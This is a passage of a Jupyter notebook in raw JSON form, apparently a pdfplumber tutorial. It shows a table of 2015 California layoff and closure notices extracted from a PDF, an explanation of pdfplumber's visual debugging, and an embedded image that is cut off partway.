<td>35</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>28</th>\n", " <td>06/30/2015</td>\n", " <td>08/31/2015</td>\n", " <td>07/13/2015</td>\n", " <td>First Transit</td>\n", " <td>San Bernardino</td>\n", " <td>127</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>29</th>\n", " <td>06/30/2015</td>\n", " <td>08/31/2015</td>\n", " <td>07/13/2015</td>\n", " <td>First Transit</td>\n", " <td>Rancho</td>\n", " <td>71</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>30</th>\n", " <td>07/10/2015</td>\n", " <td>07/14/2015</td>\n", " <td>07/13/2015</td>\n", " <td>11 Main LLC</td>\n", " <td>San Mateo</td>\n", " <td>35</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>31</th>\n", " <td>07/10/2015</td>\n", " <td>07/14/2015</td>\n", " <td>07/13/2015</td>\n", " <td>11 Main LLC</td>\n", " <td>Chico</td>\n", " <td>44</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>32</th>\n", " <td>07/15/2015</td>\n", " <td>07/15/2015</td>\n", " <td>07/15/2015</td>\n", " <td>TaylorMade Golf Company</td>\n", " <td>Carlsbad</td>\n", " <td>64</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>33</th>\n", " <td>07/08/2015</td>\n", " <td>09/06/2015</td>\n", " <td>07/16/2015</td>\n", " <td>Southern California Edison Company</td>\n", " <td>Rosemead</td>\n", " <td>38</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>34</th>\n", " <td>07/14/2015</td>\n", " <td>09/18/2015</td>\n", " <td>07/20/2015</td>\n", " <td>Actavis, Inc.</td>\n", " <td>Corona</td>\n", " <td>45</td>\n", " <td>Layoff Permanent</td>\n", " </tr>\n", " <tr>\n", " <th>35</th>\n", " <td>07/17/2015</td>\n", " <td>07/13/2015</td>\n", " <td>07/21/2015</td>\n", " <td>American Management Services LLC</td>\n", " <td>Monterey</td>\n", " <td>56</td>\n", " <td>Closure Permanent</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Notice Date Effective Received Company \\\n", "0 06/22/2015 03/25/2016 07/01/2015 Maxim Integrated Product \n", "1 06/30/2015 08/29/2015 07/01/2015 McGraw-Hill Education \n", "2 06/30/2015 08/30/2015 07/01/2015 Long Beach Memorial Medical Center \n", "3 07/01/2015 09/02/2015 07/01/2015 Leidos \n", "4 07/01/2015 09/30/2016 07/01/2015 Bosch Healthcare Systems, Inc. \n", "5 06/29/2015 09/01/2015 07/02/2015 Encompass Digital Media, Inc. \n", "6 07/02/2015 07/06/2015 07/02/2015 Alphatec Spine \n", "7 06/30/2015 08/07/2015 07/06/2015 Symantec Corporation \n", "8 06/30/2015 08/31/2015 07/06/2015 Fusion Contacts Centers, LLC \n", "9 06/30/2015 09/15/2015 07/06/2015 KLA-Tencor Corporation \n", "10 07/01/2015 09/04/2015 07/06/2015 Southern California Edison Company \n", "11 07/02/2015 09/01/2015 07/06/2015 State Fish Company, Inc. \n", "12 07/02/2015 09/04/2015 07/06/2015 Boeing Company \n", "13 07/06/2015 09/04/2015 07/06/2015 Bridgepoint Education, Inc. \n", "14 07/06/2015 09/04/2015 07/06/2015 Bridgepoint Education, Inc. \n", "15 07/01/2015 06/29/2015 07/07/2015 BAE Systems \n", "16 07/01/2015 06/29/2015 07/07/2015 BAE Systems \n", "17 07/01/2015 09/07/2015 07/07/2015 Bay Bread LLC dba Bakery Los Angeles \n", "18 07/01/2015 09/25/2015 07/07/2015 Bay Bread LLC dba New French Bakery \n", "19 07/02/2015 06/12/2015 07/07/2015 Hewlett-Packard Company \n", "20 07/08/2015 09/06/2015 07/08/2015 Microsoft Corporation \n", "21 06/25/2015 10/09/2015 07/10/2015 Aramark Healthcare Support Services, \n", "22 07/01/2015 09/10/2015 07/10/2015 Maxim Integrated Product \n", "23 07/06/2015 09/04/2015 07/10/2015 ProCourier, Inc. \n", "24 07/06/2015 09/04/2015 07/10/2015 ProCourier, Inc. \n", "25 07/07/2015 09/04/2015 07/10/2015 ProCourier, Inc. \n", "26 07/09/2015 07/22/2015 07/10/2015 Berkeley Pyramid Alehouse \n", "27 07/09/2015 09/14/2015 07/10/2015 Fireman's Fund Insurance Company \n", "28 06/30/2015 08/31/2015 07/13/2015 First Transit \n", "29 06/30/2015 08/31/2015 07/13/2015 First Transit \n", "30 07/10/2015 07/14/2015 07/13/2015 11 Main LLC \n", "31 07/10/2015 07/14/2015 07/13/2015 11 Main LLC \n", "32 07/15/2015 07/15/2015 07/15/2015 TaylorMade Golf Company \n", "33 07/08/2015 09/06/2015 07/16/2015 Southern California Edison Company \n", "34 07/14/2015 09/18/2015 07/20/2015 Actavis, Inc. \n", "35 07/17/2015 07/13/2015 07/21/2015 American Management Services LLC \n", "\n", " City No. Of Layoff/Closure \n", "0 San Jose 150 Closure Permanent \n", "1 Monterey 137 Layoff Unknown at this time \n", "2 Long Beach 90 Layoff Permanent \n", "3 El Segundo 72 Layoff Permanent \n", "4 Palo Alto 55 Closure Permanent \n", "5 Los Angeles 41 Closure Permanent \n", "6 Carlsbad 99 Layoff Permanent \n", "7 Mountain View 60 Layoff Permanent \n", "8 Santa Maria 50 Closure Permanent \n", "9 Milpitas 213 Layoff Permanent \n", "10 San Clemente 100 Closure Permanent \n", "11 Wilmington 76 Closure Permanent \n", "12 Long Beach 56 Layoff Unknown at this time \n", "13 San Diego 7 Layoff Permanent \n", "14 San Diego 15 Layoff Permanent \n", "15 San Francisco 4 Layoff Temporary \n", "16 San Francisco 78 Layoff Temporary \n", "17 San Fernando 50 Closure Permanent \n", "18 South San 121 Closure Permanent \n", "19 Palo Alto 65 Layoff Permanent \n", "20 San Diego 129 Layoff Permanent \n", "21 Culver City 53 Closure Permanent \n", "22 San Jose 20 Layoff Permanent \n", "23 San Diego 22 Layoff Unknown at this time \n", "24 Los Angeles 71 Layoff Unknown at this time \n", "25 Irvine 22 Layoff Unknown at this time \n", "26 Berkeley 63 Closure Permanent \n", "27 Novato 35 Layoff Permanent \n", "28 San Bernardino 127 Layoff Permanent \n", "29 Rancho 71 Layoff Permanent \n", "30 San Mateo 35 Closure Permanent \n", "31 Chico 44 Layoff Permanent \n", "32 Carlsbad 64 Layoff Permanent \n", "33 Rosemead 38 Layoff Permanent \n", "34 Corona 45 Layoff Permanent \n", "35 Monterey 56 Closure Permanent " ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" } ], "source": [ "df" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## How did it work?\n", "\n", "We can use `pdfplumber`'s visual debugging to show how the table was extracted. The red lines represent the lines `pdfplumber` found on the page; the blue circles represent the intersections of those lines, and the light-blue shading indicates the cells derived from those intersections." ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "execution": { "iopub.execute_input": "2022-05-31T19:47:51.290636Z", "iopub.status.busy": "2022-05-31T19:47:51.290046Z", "iopub.status.idle": "2022-05-31T19:47:51.393450Z", "shell.execute_reply": "2022-05-31T19:47:51.392746Z" } }, "outputs": [ { "data": { "image/png": "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